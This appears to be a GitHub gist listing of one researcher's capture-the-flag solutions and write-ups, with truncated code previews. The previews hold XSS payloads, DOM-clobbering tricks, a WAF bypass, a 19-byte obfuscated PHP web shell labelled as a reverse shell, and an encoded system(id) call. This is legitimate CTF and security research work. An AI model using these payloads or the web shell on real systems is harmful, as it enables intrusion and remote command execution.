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terjanq / real-monster.html
Created November 6, 2022 10:23
The Real Monster
<iframe name="xxx"></iframe>
<form method=POST target=xxx action="">
<input name="username" value='<script>eval(unescape(location.hash.slice(1)))</script>","password":"123"};SameSite=none;Secure;Path=/profile;'>
<input name="password" value="123">
(async () =>{
const sleep = d => new Promise(r=>setTimeout(r,d));
terjanq / HTPL-solution.html
Last active November 6, 2022 22:11 2022 CTF solutions
This was a sandboxing challenge where the JS language is presenteded in the form of exotic, made-up language.
It's almost properly sandboxed but there is one bug that players needed to find.
The bug I found was to construct HTML comment (<!--) that is understood by JS and which makes it possible to ignore one semicolon
and then to concat array expression with variable name, like $var$['eval']. To get reference to eval we used DOM clobbering
and defined <iframe name=$win$>
<iframe name=$win$></iframe>
terjanq / calc.html
Last active February 6, 2023 15:10
SekaiCTF 2022 solutions
// clobber document.getElementById and make window.calc.contentWindow undefined
open('"<form name=getElementById id=calc>"');
function start(){
var ifr = document.createElement('iframe');
// create sandboxed domain, open challenge page and force its origin to be null
// null origin makes window.token undefined because of the error when accessing document.cookie
terjanq /
Last active October 4, 2023 10:36
Postviewer challenge writeup from GoogleCTF 2022

Postviewer - writeup

Challenge's overview

The rumor tells that adm1n stores their secret split into multiple documents. Can you catch 'em all?

The challenge consisted of an all client-side simple page, i.e. no backend code was involved. A user can upload any file which will be then locally stored in indexedDB. They can preview their files by either clicking on the title or by visiting file's URL, for example The preview of the file is rendered inside a blob created from data: URL. The rendering occurs by sending file's contents to the iframe via postMessage({ body, mimeType }, '*')

Additionally, there is a /bot endpoint which lets players send URLs to an xss-bot imitating another user. The goal is to steal their documents.

terjanq /
Last active June 18, 2022 11:58
A TL;DR solution to Security Driven by @terjanq

A TL;DR solution to Security Driven by @terjanq

For this year's Google CTF, I prepared a challenge that is based on a real-world vulnerability. The challenge wasn't solved by any team during the competition so here is the proof that the challenge was in fact solvable! :)

The goal of the challenge was to send a malicious file to the admin and leak their file with a flag. The ID of the file was embedded into the challenge description (/file?id=133711377731) and only admin had access to it, because the file was private.

Disclamer: The write-up is written on airplane therefore the quality of it is poor, mostly to showcase the required steps to solve the challenge

terjanq /
Last active May 20, 2021 01:43
Politer Note - writeup



<a id=bad1 href='cid:="</div">'>
<a id=good1 href="cid:></script><iframe srcdoc='$'">

<a id=bad2 href="">
<a id=good2 href='data:,alert(/greetings from terjanq/)"></script>'>
terjanq /
Last active October 23, 2021 14:18
TokyoWesterns CTF 2020 | writeups by @terjanq

TokyoWesterns CTF 2020 | writeups by @terjanq

Urlcheck v1 (98 points, 160 solves)

The goal was to bypass WAF protection to access local resources.

app.re_ip = re.compile('\A(\d+)\.(\d+)\.(\d+)\.(\d+)\Z')

def valid_ip(ip):
 matches = app.re_ip.match(ip)
terjanq / scriptless_solve.html
Last active June 13, 2020 19:30
Solution to Scriptless challenge from Pwn2win 2020 CTF
Quasi-scriptless (3 solves)
terjanq / rev_shell.php
Last active January 30, 2024 21:53
The shortest non-alphanumeric reverse shell script (19 bytes)
* In terminal:
* $ echo -ne '<?=`{${~\xa0\xb8\xba\xab}[\xa0]}`;' > rev_shell.php
* This is how the code will be produced, \xa0\xb8\xba\xab will be
* treated as constant therefore no " needed. It is also not copyable
* string because of non-ascii characters
* Explanation:
terjanq / funny.php
Last active February 23, 2023 14:46
/* system(id) */
- Some of the characters might look like alphanumeric, but they are Unicode characters.
- 'ArrayΦ' <-> [].Φ
- 1 <-> ![]
- 'a' <-> ([].Φ)[![]+![]+![]]